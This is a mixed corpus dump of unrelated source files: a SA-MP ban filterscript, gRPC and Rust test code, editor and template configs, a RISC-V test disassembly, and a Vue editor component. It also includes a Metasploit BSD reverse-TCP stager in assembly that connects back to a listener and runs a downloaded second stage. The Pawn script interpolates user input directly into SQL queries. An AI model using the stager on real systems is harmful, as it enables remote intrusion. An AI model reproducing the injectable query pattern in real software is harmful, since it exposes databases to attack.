new ip[18];
GetPlayerName(banTargetID[playerid], name, sizeof name);
GetPlayerIp(banTargetID[playerid], ip, sizeof ip);
new admin[MAX_PLAYER_NAME];
GetPlayerName(playerid, admin, sizeof admin);
for (new i; i < 100; i++)
{
SendClientMessage(banTargetID[playerid], -1, "");
}
if (banTargetDays[playerid] != 0)
{
format(string, sizeof string, "\"%s\" has been banned by admin \"%s\" for %i days; for reason: %s.", name, admin, banTargetDays[playerid], banTargetReason[playerid]);
SendClientMessageToAll(COLOR_RED, string);
}
else
{
format(string, sizeof string, "\"%s\" has been permanently banned by admin \"%s\"; for reason: %s.", name, admin, banTargetReason[playerid]);
SendClientMessageToAll(COLOR_RED, string);
}
format(string, sizeof string, "INSERT INTO `users`(`name`, `ip`, `longip`, `expire_timestamp`, `register_timestamp`, `last_activity_timestamp`, `admin`, `reason`) VALUES('%s', '%s', %i, %i, %i, %i, '%s', '%s')", name, ip, Ban_GetLongIP(ip), (banTargetDays[playerid] == 0) ? (0) : (gettime() + (banTargetDays[playerid] * 24 * 60 * 60)), gettime(), gettime(), name, banTargetReason[playerid]);
db_query(banDatabase, string);
TextDrawShowForPlayer(playerid, banTextDraw[0]);
TextDrawShowForPlayer(playerid, banTextDraw[1]);
return Kick(banTargetID[playerid], KICK_DELAY);
}
CMD:searchban(playerid, params[])
{
if (!IsPlayerAdmin(playerid))
{
return SendClientMessage(playerid, COLOR_TOMATO, "You should be RCON Admin to use this command.");
}
if (!params[0] || params[0] == ' ' || strlen(params) < 4)
{
return SendClientMessage(playerid, COLOR_WHITE, "Usage: /searchban [name/ip]");
}
new bool:nameEntered;
for (new i; params[i] != EOS; i++)
{
if (params[i] == '.' || params[i] >= '0' && params[i] <= '9')
{
continue;
}
nameEntered = true;
break;
}
new string[1024];
if (nameEntered)
{
format(string, sizeof string, "SELECT * FROM `users` WHERE `name` = '%s' LIMIT 1", params);
}
else
{
if (!Ban_GetLongIP(params))
{
return SendClientMessage(playerid, COLOR_TOMATO, "Invalid IP. Address entered.");
}
format(string, sizeof string, "SELECT * FROM `users` WHERE (`longip` != 0 AND (`longip` & %i) = %i) LIMIT 1", BAN_MASK, (Ban_GetLongIP(params) & BAN_MASK));
}
new DBResult:result = db_query(banDatabase, string);
if (db_num_rows(result) == 0)
{
if (nameEntered)
{
SendClientMessage(playerid, COLOR_TOMATO, "The player you are looking for is not banned.");
}
else
{
SendClientMessage(playerid, COLOR_TOMATO, "The IP. you entered is not banned.");
}
return db_free_result(result);
}
if (db_get_field_assoc_int(result, "expire_timestamp") != 0 && db_get_field_assoc_int(result, "expire_timestamp") <= gettime())
{
format(string, sizeof string, "DELETE FROM `users` WHERE `id` = %i", db_get_field_assoc_int(result, "id"));
db_query(banDatabase, string);
new name[MAX_PLAYER_NAME];
db_get_field_assoc(result, "name", name, sizeof name);
format(string, sizeof string, "\"%s\"'s ban was lifted %s ago.", name, ReturnTimelapse(db_get_field_assoc_int(result, "expire_timestamp"), gettime()));
SendClientMessage(playerid, COLOR_GREEN, string);
return db_free_result(result);
}
unbanTargetID[playerid] = db_get_field_assoc_int(result, "id");
db_get_field_assoc(result, "name", unbanTargetName[playerid], sizeof unbanTargetName[]);
db_get_field_assoc(result, "ip", unbanTargetIp[playerid], sizeof unbanTargetIp[]);
new reason[64];
db_get_field_assoc(result, "reason", reason, sizeof reason);
new admin[MAX_PLAYER_NAME];
db_get_field_assoc(result, "admin", admin, sizeof admin);
format(string, sizeof string, ""COL_WHITE"Showing ban result for your search \""COL_TOMATO"%s"COL_WHITE"\".\nIf you want to unban this player personally, click \""COL_PINK"Unban"COL_WHITE"\"; or click \""COL_TOMATO"Close"COL_WHITE"\" to close this dialog!", params);
if (db_get_field_assoc_int(result, "expire_timestamp") != 0)
{
format(string, sizeof string, "%s\n\n- "COL_PINK"Player: "COL_WHITE"%s (IP: %s)\n- "COL_PINK"Dated: "COL_WHITE"%s (%s ago)\n- "COL_PINK"Timeleft For Unban: "COL_WHITE"%s\n- "COL_PINK"Admin Who Banned: "COL_WHITE"%s\n- "COL_PINK"Reason: "COL_WHITE"%s",
string, unbanTargetName[playerid], unbanTargetIp[playerid], ReturnDate(db_get_field_assoc_int(result, "register_timestamp")), ReturnTimelapse(db_get_field_assoc_int(result, "register_timestamp"), gettime()), ReturnTimelapse(gettime(), db_get_field_assoc_int(result, "expire_timestamp")), admin, reason);
}
else
{
format(string, sizeof string, "%s\n\n- "COL_PINK"Player: "COL_WHITE"%s (IP: %s)\n- "COL_PINK"Dated: "COL_WHITE"%s (%s ago)\n- "COL_PINK"Timeleft For Unban: "COL_WHITE"Never (permanent ban)\n- "COL_PINK"Admin Who Banned: "COL_WHITE"%s\n- "COL_PINK"Reason: "COL_WHITE"%s",
string, unbanTargetName[playerid], unbanTargetIp[playerid], ReturnDate(db_get_field_assoc_int(result, "register_timestamp")), ReturnTimelapse(db_get_field_assoc_int(result, "register_timestamp"), gettime()), admin, reason);
}
format(string, sizeof string, "%s\n\n"COL_WHITE"Player last active was on \"%s\" during ban time period!", string, ReturnDate(db_get_field_assoc_int(result, "last_activity_timestamp")));
db_free_result(result);
return Dialog_Show(playerid, SEARCH_BANNED_PLAYER, DIALOG_STYLE_MSGBOX, "Search result for banned Player / IP...", string, "Close", "UnBan");
}
Dialog:SEARCH_BANNED_PLAYER(playerid, response, listitem, inputtext[])
{
if (response)
{
return 1;
}
new string[256];
format(string, sizeof string, "DELETE FROM `users` WHERE `name` = '%s' OR `ip` = '%s' OR `longip` != 0 AND (`longip` & %i) = %i", unbanTargetName[playerid], unbanTargetIp[playerid], BAN_MASK, (Ban_GetLongIP(unbanTargetIp[playerid]) & BAN_MASK));
db_query(banDatabase, string);
format(string, sizeof string, "You have unbanned player \"%s\" successfully!", unbanTargetName[playerid]);
return SendClientMessage(playerid, COLOR_GREEN, string);
}
| PAWN | 5 | nathanramli/SA-MP | filterscripts/gban.pwn | [
"Apache-2.0"
] |
/*
*
* Copyright 2018 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include "test/core/tsi/alts/crypt/gsec_test_util.h"
#include <time.h>
#include <grpc/support/alloc.h>
void gsec_test_random_bytes(uint8_t* bytes, size_t length) {
srand(time(nullptr));
size_t ind;
for (ind = 0; ind < length; ind++) {
bytes[ind] = static_cast<uint8_t>(rand() % 255 + 1);
}
}
void gsec_test_random_array(uint8_t** bytes, size_t length) {
if (bytes != nullptr) {
*bytes = static_cast<uint8_t*>(gpr_malloc(length));
gsec_test_random_bytes(*bytes, length);
} else {
fprintf(stderr, "bytes buffer is nullptr in gsec_test_random_array().");
abort();
}
}
uint32_t gsec_test_bias_random_uint32(uint32_t max_length) {
uint32_t value;
gsec_test_random_bytes(reinterpret_cast<uint8_t*>(&value), sizeof(value));
return value % max_length;
}
void gsec_test_copy(const uint8_t* src, uint8_t** des, size_t source_len) {
if (src != nullptr && des != nullptr) {
*des = static_cast<uint8_t*>(gpr_malloc(source_len));
if (*des != nullptr) {
memcpy(*des, src, source_len);
}
} else {
fprintf(stderr, "Either src or des buffer is nullptr in gsec_test_copy().");
abort();
}
}
void gsec_test_copy_and_alter_random_byte(const uint8_t* src, uint8_t** des,
size_t source_len) {
if (src != nullptr && des != nullptr) {
*des = static_cast<uint8_t*>(gpr_malloc(source_len));
memcpy(*des, src, source_len);
uint32_t offset;
offset = gsec_test_bias_random_uint32(static_cast<uint32_t>(source_len));
(*(*des + offset))++;
} else {
fprintf(stderr,
"Either src or des is nullptr in "
"gsec_test_copy_and_alter_random_byte().");
abort();
}
}
int gsec_test_expect_compare_code_and_substr(grpc_status_code status1,
grpc_status_code status2,
const char* msg1,
const char* msg2) {
int failure = 1;
if (status1 != status2) {
fprintf(stderr, "Status %d does not equal %d.\n", status1, status2);
failure = 0;
}
if (strstr(msg1, msg2) == nullptr) {
fprintf(stderr, "Status message <%s> does not contain <%s>.\n", msg1, msg2);
failure = 0;
}
return failure;
}
| C++ | 4 | echo80313/grpc | test/core/tsi/alts/crypt/gsec_test_util.cc | [
"Apache-2.0"
] |
#[rustfmt::skip]
pub struct Foo {
/// 位
/// ^ Do not remove this tab character.
/// It was required to trigger the ICE.
pub bar: u8,
}
fn main() {}
| Rust | 3 | narpfel/rust-clippy | tests/ui/crashes/ice-5835.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
! This is a demonstration for
! Zemax ZPL macro syntax-highlighting and code management
! AND auto-completion for functions and keywords
! AND calltip function hints
! Developed on Notepad++
! Nice eye-easy color theme ported from Solarized
250.00 ! Numbers are red
NFLD() ! Numeric functions are blue
$COMMENT(5) ! String functions are green
RAYTRACE ! Keywords are yellow
GOTO 1 ! GOTO and LABEL are magenta
! Openblock @folding
! IF and FOR statments are foldable
FOR i, 1, nfield, 1 ! For folding
PRINT "Field number ", i
IF (i == 3) ! IF folding
PRINT "X-field angle : ", FLDX(i)," Y-field angle : ", FLDY(i)
ENDIF
NEXT
! Comments are foldable
! Create codeblocks with openblock, midblock, and closeblock.
! With region tag @regiontag
! closeBlock
! Demonstration of autocomplete feature
! try RAYTRACE, $LEFTSTRING
RAYTRACE
$LEFTSTRING
! Demonstration of calltip function hints
! $GETSTRING, GETT
$GETSTRING(A$,n)
GETT(1,1,1)
! Do you like this? Try it!
! Download from Github: https://github.com/huxinda/
! also available for CodeV macros
! Contact: Xinda [email protected] | Zimpl | 4 | huxinda/UDL_Zemax_ZPL | demo.zpl | [
"MIT"
] |
<mt:Ignore><__trans phrase="Sets the common meta keywords for each page."></mt:Ignore>
<mt:SetVarBlock name="meta_keywords">movable type,mt,テーマ,theme</mt:SetVarBlock>
<mt:Ignore><__trans phrase="Sets the main and sub colors."></mt:Ignore>
<mt:SetVarBlock name="main_color">#004B9A</mt:SetVarBlock>
<mt:SetVarBlock name="sub_color">#0076BF</mt:SetVarBlock>
<mt:Ignore><__trans phrase="Sets the ID of the Google Custom Search."></mt:Ignore>
<mt:SetVarBlock name="google_search"></mt:SetVarBlock>
<mt:Ignore><__trans phrase="Sets the number of entries to be displaying in the entry list."></mt:Ignore>
<mt:SetVarBlock name="entries_per_page">12</mt:SetVarBlock>
<mt:Ignore><__trans phrase="Sets the account of social networking service that used in the OGP."></mt:Ignore>
<mt:SetVarBlock name="fb_app_id"></mt:SetVarBlock>
<mt:SetVarBlock name="twitter_via"></mt:SetVarBlock>
<mt:Ignore><__trans phrase="Set 1 to display social icons on the archive pages. If you do not want to display a specific icon, please set it to 0."></mt:Ignore>
<mt:SetVarBlock name="social_button_facebook">1</mt:SetVarBlock>
<mt:SetVarBlock name="social_button_twitter">1</mt:SetVarBlock>
<mt:SetVarBlock name="social_button_google">1</mt:SetVarBlock>
<mt:SetVarBlock name="social_button_hatena">1</mt:SetVarBlock>
<mt:SetVarBlock name="social_button_pocket">1</mt:SetVarBlock>
<mt:SetVarBlock name="social_button_line">1</mt:SetVarBlock>
| MTML | 3 | kanpapa/mt-theme-rimo | themes/rimo/templates/common_variables.mtml | [
"MIT"
] |
;;
;
; Name: stager_sock_reverse
; Qualities: Can Have Nulls
; Version: $Revision: 1626 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Implementation of a BSD reverse TCP stager.
;
; File descriptor in edi.
;
; Meta-Information:
;
; meta-shortname=BSD Reverse TCP Stager
; meta-description=Connect back to the framework and run a second stage
; meta-authors=skape <mmiller [at] hick.org>, vlad902 <vlad902 [at] gmail.com>
; meta-os=bsd
; meta-arch=ia32
; meta-category=stager
; meta-connection-type=reverse
; meta-name=reverse_tcp
; meta-basemod=Msf::PayloadComponent::ReverseConnection
; meta-offset-lhost=0x0a
; meta-offset-lport=0x13
;;
BITS 32
GLOBAL main
main:
socket:
push byte 97
pop eax
cdq
push edx
inc edx
push edx
inc edx
push edx
push dword 0x0100007f
int 0x80
connect:
push dword 0xbfbf0210
mov ecx, esp
push byte 0x10
push ecx
push eax
push ecx
%ifdef FD_REG_EBX
xchg eax, ebx
%else
xchg eax, edi
%endif
push byte 98
pop eax
int 0x80
%ifndef USE_SINGLE_STAGE
read:
mov al, 0x3
mov byte [ecx - 0x3], 0x10
int 0x80
ret
%endif
| Assembly | 3 | OsmanDere/metasploit-framework | external/source/shellcode/bsd/ia32/stager_sock_reverse.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
/home/spinalvm/hdl/riscv-compliance/work//I-SRAI-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
80000000 <_start>:
80000000: 00001097 auipc ra,0x1
80000004: 00008093 mv ra,ra
80000008: 00001117 auipc sp,0x1
8000000c: 01810113 addi sp,sp,24 # 80001020 <codasip_signature_start>
80000010: 0000a183 lw gp,0(ra) # 80001000 <test_A1_data>
80000014: 4011d213 srai tp,gp,0x1
80000018: 40f1d293 srai t0,gp,0xf
8000001c: 41f1d313 srai t1,gp,0x1f
80000020: 4001d393 srai t2,gp,0x0
80000024: 4101d413 srai s0,gp,0x10
80000028: 00312023 sw gp,0(sp)
8000002c: 00412223 sw tp,4(sp)
80000030: 00512423 sw t0,8(sp)
80000034: 00612623 sw t1,12(sp)
80000038: 00712823 sw t2,16(sp)
8000003c: 00812a23 sw s0,20(sp)
80000040: 00001097 auipc ra,0x1
80000044: fc408093 addi ra,ra,-60 # 80001004 <test_A2_data>
80000048: 00001117 auipc sp,0x1
8000004c: ff010113 addi sp,sp,-16 # 80001038 <test_A2_res>
80000050: 0000a403 lw s0,0(ra)
80000054: 40145493 srai s1,s0,0x1
80000058: 40f45513 srai a0,s0,0xf
8000005c: 41f45593 srai a1,s0,0x1f
80000060: 40045613 srai a2,s0,0x0
80000064: 41045693 srai a3,s0,0x10
80000068: 00812023 sw s0,0(sp)
8000006c: 00912223 sw s1,4(sp)
80000070: 00a12423 sw a0,8(sp)
80000074: 00b12623 sw a1,12(sp)
80000078: 00c12823 sw a2,16(sp)
8000007c: 00d12a23 sw a3,20(sp)
80000080: 00001097 auipc ra,0x1
80000084: f8808093 addi ra,ra,-120 # 80001008 <test_A3_data>
80000088: 00001117 auipc sp,0x1
8000008c: fc810113 addi sp,sp,-56 # 80001050 <test_A3_res>
80000090: 0000a683 lw a3,0(ra)
80000094: 4016d713 srai a4,a3,0x1
80000098: 40f6d793 srai a5,a3,0xf
8000009c: 41f6d813 srai a6,a3,0x1f
800000a0: 4006d893 srai a7,a3,0x0
800000a4: 4106d913 srai s2,a3,0x10
800000a8: 00d12023 sw a3,0(sp)
800000ac: 00e12223 sw a4,4(sp)
800000b0: 00f12423 sw a5,8(sp)
800000b4: 01012623 sw a6,12(sp)
800000b8: 01112823 sw a7,16(sp)
800000bc: 01212a23 sw s2,20(sp)
800000c0: 00001617 auipc a2,0x1
800000c4: f4c60613 addi a2,a2,-180 # 8000100c <test_A4_data>
800000c8: 00001697 auipc a3,0x1
800000cc: fa068693 addi a3,a3,-96 # 80001068 <test_A4_res>
800000d0: 00062903 lw s2,0(a2)
800000d4: 40195993 srai s3,s2,0x1
800000d8: 40f95a13 srai s4,s2,0xf
800000dc: 41f95a93 srai s5,s2,0x1f
800000e0: 40095b13 srai s6,s2,0x0
800000e4: 41095b93 srai s7,s2,0x10
800000e8: 0126a023 sw s2,0(a3)
800000ec: 0136a223 sw s3,4(a3)
800000f0: 0146a423 sw s4,8(a3)
800000f4: 0156a623 sw s5,12(a3)
800000f8: 0166a823 sw s6,16(a3)
800000fc: 0176aa23 sw s7,20(a3)
80000100: 00001617 auipc a2,0x1
80000104: f1060613 addi a2,a2,-240 # 80001010 <test_A5_data>
80000108: 00001697 auipc a3,0x1
8000010c: f7868693 addi a3,a3,-136 # 80001080 <test_A5_res>
80000110: 00062b83 lw s7,0(a2)
80000114: 401bdc13 srai s8,s7,0x1
80000118: 40fbdc93 srai s9,s7,0xf
8000011c: 41fbdd13 srai s10,s7,0x1f
80000120: 400bdd93 srai s11,s7,0x0
80000124: 410bde13 srai t3,s7,0x10
80000128: 0176a023 sw s7,0(a3)
8000012c: 0186a223 sw s8,4(a3)
80000130: 0196a423 sw s9,8(a3)
80000134: 01a6a623 sw s10,12(a3)
80000138: 01b6a823 sw s11,16(a3)
8000013c: 01c6aa23 sw t3,20(a3)
80000140: 00001d17 auipc s10,0x1
80000144: ed4d0d13 addi s10,s10,-300 # 80001014 <test_B_data>
80000148: 00001d97 auipc s11,0x1
8000014c: f50d8d93 addi s11,s11,-176 # 80001098 <test_B_res>
80000150: 000d2e03 lw t3,0(s10)
80000154: 401e5e93 srai t4,t3,0x1
80000158: 401edf13 srai t5,t4,0x1
8000015c: 401f5f93 srai t6,t5,0x1
80000160: 401fd093 srai ra,t6,0x1
80000164: 4010d113 srai sp,ra,0x1
80000168: 40115193 srai gp,sp,0x1
8000016c: 01cda023 sw t3,0(s11)
80000170: 01dda223 sw t4,4(s11)
80000174: 01eda423 sw t5,8(s11)
80000178: 01fda623 sw t6,12(s11)
8000017c: 001da823 sw ra,16(s11)
80000180: 002daa23 sw sp,20(s11)
80000184: 003dac23 sw gp,24(s11)
80000188: 00001097 auipc ra,0x1
8000018c: e9008093 addi ra,ra,-368 # 80001018 <test_C_data>
80000190: 00001117 auipc sp,0x1
80000194: f2410113 addi sp,sp,-220 # 800010b4 <test_C_res>
80000198: 0000a283 lw t0,0(ra)
8000019c: 4012d013 srai zero,t0,0x1
800001a0: 00012023 sw zero,0(sp)
800001a4: 00001097 auipc ra,0x1
800001a8: e7808093 addi ra,ra,-392 # 8000101c <test_D_data>
800001ac: 00001117 auipc sp,0x1
800001b0: f0c10113 addi sp,sp,-244 # 800010b8 <test_D_res>
800001b4: 0000a283 lw t0,0(ra)
800001b8: 4012d013 srai zero,t0,0x1
800001bc: 40105293 srai t0,zero,0x1
800001c0: 00012023 sw zero,0(sp)
800001c4: 00512223 sw t0,4(sp)
800001c8: 00001517 auipc a0,0x1
800001cc: e5850513 addi a0,a0,-424 # 80001020 <codasip_signature_start>
800001d0: 00001597 auipc a1,0x1
800001d4: ef058593 addi a1,a1,-272 # 800010c0 <_end>
800001d8: f0100637 lui a2,0xf0100
800001dc: f2c60613 addi a2,a2,-212 # f00fff2c <_end+0x700fee6c>
800001e0 <complience_halt_loop>:
800001e0: 02b50663 beq a0,a1,8000020c <complience_halt_break>
800001e4: 00c52683 lw a3,12(a0)
800001e8: 00d62023 sw a3,0(a2)
800001ec: 00852683 lw a3,8(a0)
800001f0: 00d62023 sw a3,0(a2)
800001f4: 00452683 lw a3,4(a0)
800001f8: 00d62023 sw a3,0(a2)
800001fc: 00052683 lw a3,0(a0)
80000200: 00d62023 sw a3,0(a2)
80000204: 01050513 addi a0,a0,16
80000208: fd9ff06f j 800001e0 <complience_halt_loop>
8000020c <complience_halt_break>:
8000020c: f0100537 lui a0,0xf0100
80000210: f2050513 addi a0,a0,-224 # f00fff20 <_end+0x700fee60>
80000214: 00052023 sw zero,0(a0)
...
Disassembly of section .data:
80001000 <test_A1_data>:
80001000: 0000 unimp
...
80001004 <test_A2_data>:
80001004: 0001 nop
...
80001008 <test_A3_data>:
80001008: ffff 0xffff
8000100a: ffff 0xffff
8000100c <test_A4_data>:
8000100c: ffff 0xffff
8000100e: 7fff 0x7fff
80001010 <test_A5_data>:
80001010: 0000 unimp
80001012: 8000 0x8000
80001014 <test_B_data>:
80001014: ef10 fsw fa2,24(a4)
80001016: abcd j 80001608 <_end+0x548>
80001018 <test_C_data>:
80001018: 5678 lw a4,108(a2)
8000101a: 1234 addi a3,sp,296
8000101c <test_D_data>:
8000101c: ba98 fsd fa4,48(a3)
8000101e: fedc fsw fa5,60(a3)
80001020 <codasip_signature_start>:
80001020: ffff 0xffff
80001022: ffff 0xffff
80001024: ffff 0xffff
80001026: ffff 0xffff
80001028: ffff 0xffff
8000102a: ffff 0xffff
8000102c: ffff 0xffff
8000102e: ffff 0xffff
80001030: ffff 0xffff
80001032: ffff 0xffff
80001034: ffff 0xffff
80001036: ffff 0xffff
80001038 <test_A2_res>:
80001038: ffff 0xffff
8000103a: ffff 0xffff
8000103c: ffff 0xffff
8000103e: ffff 0xffff
80001040: ffff 0xffff
80001042: ffff 0xffff
80001044: ffff 0xffff
80001046: ffff 0xffff
80001048: ffff 0xffff
8000104a: ffff 0xffff
8000104c: ffff 0xffff
8000104e: ffff 0xffff
80001050 <test_A3_res>:
80001050: ffff 0xffff
80001052: ffff 0xffff
80001054: ffff 0xffff
80001056: ffff 0xffff
80001058: ffff 0xffff
8000105a: ffff 0xffff
8000105c: ffff 0xffff
8000105e: ffff 0xffff
80001060: ffff 0xffff
80001062: ffff 0xffff
80001064: ffff 0xffff
80001066: ffff 0xffff
80001068 <test_A4_res>:
80001068: ffff 0xffff
8000106a: ffff 0xffff
8000106c: ffff 0xffff
8000106e: ffff 0xffff
80001070: ffff 0xffff
80001072: ffff 0xffff
80001074: ffff 0xffff
80001076: ffff 0xffff
80001078: ffff 0xffff
8000107a: ffff 0xffff
8000107c: ffff 0xffff
8000107e: ffff 0xffff
80001080 <test_A5_res>:
80001080: ffff 0xffff
80001082: ffff 0xffff
80001084: ffff 0xffff
80001086: ffff 0xffff
80001088: ffff 0xffff
8000108a: ffff 0xffff
8000108c: ffff 0xffff
8000108e: ffff 0xffff
80001090: ffff 0xffff
80001092: ffff 0xffff
80001094: ffff 0xffff
80001096: ffff 0xffff
80001098 <test_B_res>:
80001098: ffff 0xffff
8000109a: ffff 0xffff
8000109c: ffff 0xffff
8000109e: ffff 0xffff
800010a0: ffff 0xffff
800010a2: ffff 0xffff
800010a4: ffff 0xffff
800010a6: ffff 0xffff
800010a8: ffff 0xffff
800010aa: ffff 0xffff
800010ac: ffff 0xffff
800010ae: ffff 0xffff
800010b0: ffff 0xffff
800010b2: ffff 0xffff
800010b4 <test_C_res>:
800010b4: ffff 0xffff
800010b6: ffff 0xffff
800010b8 <test_D_res>:
800010b8: ffff 0xffff
800010ba: ffff 0xffff
800010bc: ffff 0xffff
800010be: ffff 0xffff
| ObjDump | 2 | cbrune/VexRiscv | src/test/resources/asm/I-SRAI-01.elf.objdump | [
"MIT"
] |
<template>
<div
class="source-code"
ref="sourceCode"
>
</div>
</template>
<script>
import codeMirror, { setMode, setCursorAtLastLine, setTextDirection } from '../../codeMirror'
import { wordCount as getWordCount } from 'muya/lib/utils'
import { mapState } from 'vuex'
import { adjustCursor } from '../../util'
import bus from '../../bus'
import { oneDarkThemes, railscastsThemes } from '@/config'
export default {
props: {
markdown: String,
cursor: Object,
textDirection: {
type: String,
required: true
}
},
computed: {
...mapState({
theme: state => state.preferences.theme,
sourceCode: state => state.preferences.sourceCode,
currentTab: state => state.editor.currentFile
})
},
data () {
return {
contentState: null,
editor: null,
commitTimer: null,
viewDestroyed: false,
tabId: null
}
},
watch: {
textDirection: function (value, oldValue) {
const { editor } = this
if (value !== oldValue && editor) {
setTextDirection(editor, value)
}
}
},
created () {
this.$nextTick(() => {
// TODO: Should we load markdown from the tab or mapped vue property?
const { id } = this.currentTab
const { markdown = '', theme, cursor, textDirection } = this
const container = this.$refs.sourceCode
const codeMirrorConfig = {
value: markdown,
lineNumbers: true,
autofocus: true,
lineWrapping: true,
styleActiveLine: true,
direction: textDirection,
// The amount of updates needed when scrolling. Settings this to >Infinity< or use CSS
// >height: auto< result in bad performance because the whole document is always rendered.
// Since we are using >height: auto< setting this to >Infinity< to fix #171. The best
// solution would be to set a fixed height like in #791 but then the scrollbar is not on
// the right side. Please also see CodeMirror#1104.
viewportMargin: Infinity,
lineNumberFormatter (line) {
if (line % 10 === 0 || line === 1) {
return line
} else {
return ''
}
}
}
// Set theme
if (railscastsThemes.includes(theme)) {
codeMirrorConfig.theme = 'railscasts'
} else if (oneDarkThemes.includes(theme)) {
codeMirrorConfig.theme = 'one-dark'
}
// Init CodeMirror
const editor = this.editor = codeMirror(container, codeMirrorConfig)
bus.$on('file-loaded', this.handleFileChange)
bus.$on('file-changed', this.handleFileChange)
bus.$on('dotu-select', this.handleSelectDoutu)
bus.$on('selectAll', this.handleSelectAll)
bus.$on('image-action', this.handleImageAction)
setMode(editor, 'markdown')
this.listenChange()
// NOTE: Cursor may be not null but the inner values are.
if (cursor && cursor.anchor && cursor.focus) {
const { anchor, focus } = cursor
editor.setSelection(anchor, focus, { scroll: true }) // Scroll the focus into view.
} else {
setCursorAtLastLine(editor)
}
this.tabId = id
})
},
beforeDestroy () {
// NOTE: Clear timer and manually commit changes. After mode switching and cleanup may follow
// further key inputs, so ignore all inputs.
this.viewDestroyed = true
if (this.commitTimer) clearTimeout(this.commitTimer)
bus.$off('file-loaded', this.handleFileChange)
bus.$off('file-changed', this.handleFileChange)
bus.$off('dotu-select', this.handleSelectDoutu)
bus.$off('selectAll', this.handleSelectAll)
bus.$off('image-action', this.handleImageAction)
const { editor } = this
const { cursor, markdown } = this.getMarkdownAndCursor(editor)
bus.$emit('file-changed', { id: this.tabId, markdown, cursor, renderCursor: true })
},
methods: {
handleImageAction ({ id, result, alt }) {
const { editor } = this
const value = editor.getValue()
const focus = editor.getCursor('focus')
const anchor = editor.getCursor('anchor')
const lines = value.split('\n')
const index = lines.findIndex(line => line.indexOf(id) > 0)
if (index > -1) {
const oldLine = lines[index]
lines[index] = oldLine.replace(new RegExp(`!\\[${id}\\]\\(.*\\)`), ``)
const newValue = lines.join('\n')
editor.setValue(newValue)
const match = /(!\[.*\]\(.*\))/.exec(oldLine)
if (!match) {
// User maybe delete `![]()` structure, and the match is null.
return
}
const range = {
start: match.index,
end: match.index + match[1].length
}
const delta = alt.length + result.length + 5 - match[1].length
const adjust = pointer => {
if (!pointer) {
return
}
if (pointer.line !== index) {
return
}
if (pointer.ch <= range.start) {
// do nothing.
} else if (pointer.ch > range.start && pointer.ch < range.end) {
pointer.ch = range.start + alt.length + result.length + 5
} else {
pointer.ch += delta
}
}
adjust(focus)
adjust(anchor)
if (focus && anchor) {
editor.setSelection(anchor, focus, { scroll: true })
} else {
setCursorAtLastLine()
}
}
},
handleSelectDoutu (url) {
const { editor } = this
if (editor) {
editor.replaceSelection(``)
}
},
listenChange () {
const { editor } = this
editor.on('cursorActivity', cm => {
const { cursor, markdown } = this.getMarkdownAndCursor(cm)
// Attention: the cursor may be `{focus: null, anchor: null}` when press `backspace`
const wordCount = getWordCount(markdown)
if (this.commitTimer) clearTimeout(this.commitTimer)
this.commitTimer = setTimeout(() => {
// See "beforeDestroy" note
if (!this.viewDestroyed) {
if (this.tabId) {
this.$store.dispatch('LISTEN_FOR_CONTENT_CHANGE', { id: this.tabId, markdown, wordCount, cursor })
} else {
// This may occur during tab switching but should not occur otherwise.
console.warn('LISTEN_FOR_CONTENT_CHANGE: Cannot commit changes because not tab id was set!')
}
}
}, 1000)
})
},
// Another tab was selected - only listen to get changes but don't set history or other things.
handleFileChange ({ id, markdown, cursor }) {
this.prepareTabSwitch()
const { editor } = this
if (typeof markdown === 'string') {
editor.setValue(markdown)
}
// Cursor is null when loading a file or creating a new tab in source code mode.
if (cursor) {
const { anchor, focus } = cursor
editor.setSelection(anchor, focus, { scroll: true }) // Scroll the focus into view.
} else {
setCursorAtLastLine(editor)
}
this.tabId = id
},
// Get markdown and cursor from CodeMirror.
getMarkdownAndCursor (cm) {
let focus = cm.getCursor('head')
let anchor = cm.getCursor('anchor')
const markdown = cm.getValue()
const adjCursor = cursor => {
const line = cm.getLine(cursor.line)
const preLine = cm.getLine(cursor.line - 1)
const nextLine = cm.getLine(cursor.line + 1)
return adjustCursor(cursor, preLine, line, nextLine)
}
focus = adjCursor(focus)
anchor = adjCursor(anchor)
return { cursor: { focus, anchor }, markdown }
},
// Commit changes from old tab. Problem: tab was already switched, so commit changes with old tab id.
prepareTabSwitch () {
if (this.commitTimer) clearTimeout(this.commitTimer)
if (this.tabId) {
const { editor } = this
const { cursor, markdown } = this.getMarkdownAndCursor(editor)
this.$store.dispatch('LISTEN_FOR_CONTENT_CHANGE', { id: this.tabId, markdown, cursor })
this.tabId = null // invalidate tab id
}
},
handleSelectAll () {
if (this.sourceCode && this.editor) {
this.editor.execCommand('selectAll')
}
}
}
}
</script>
<style>
.source-code {
height: calc(100vh - var(--titleBarHeight));
box-sizing: border-box;
overflow: auto;
}
.source-code .CodeMirror {
height: auto;
margin: 50px auto;
max-width: var(--editorAreaWidth);
background: transparent;
}
.source-code .CodeMirror-gutters {
border-right: none;
background-color: transparent;
}
.source-code .CodeMirror-activeline-background,
.source-code .CodeMirror-activeline-gutter {
background: var(--floatHoverColor);
}
</style>
| Vue | 5 | TankNee/marktext | src/renderer/components/editorWithTabs/sourceCode.vue | [
"MIT"
] |
INTERFACE zif_abapgit_data_serializer
PUBLIC .
METHODS serialize
IMPORTING
!ii_config TYPE REF TO zif_abapgit_data_config
RETURNING
VALUE(rt_files) TYPE zif_abapgit_definitions=>ty_files_tt
RAISING
zcx_abapgit_exception .
ENDINTERFACE.
| ABAP | 4 | amit3kumar/ABAP_ALL | src/data/zif_abapgit_data_serializer.intf.abap | [
"MIT"
] |
using Gdk;
using Gtk;
class MyApp : Gtk.Window {
public MyApp() {
SourceView view = new SourceView();
TextBuffer buffer = view.get_buffer();
buffer.set_text("Line 1.\nLine 2 (left branch)\nLine 3 (left branch and right branch)\nLine 4");
SourceGutterTextColumn textColumn = new SourceGutterTextColumn("99x", 1);
for (int i = 0; i < 10; i++)
textColumn.addLine("%2dx".printf(i + 1));
textColumn.show_in_source_view(view);
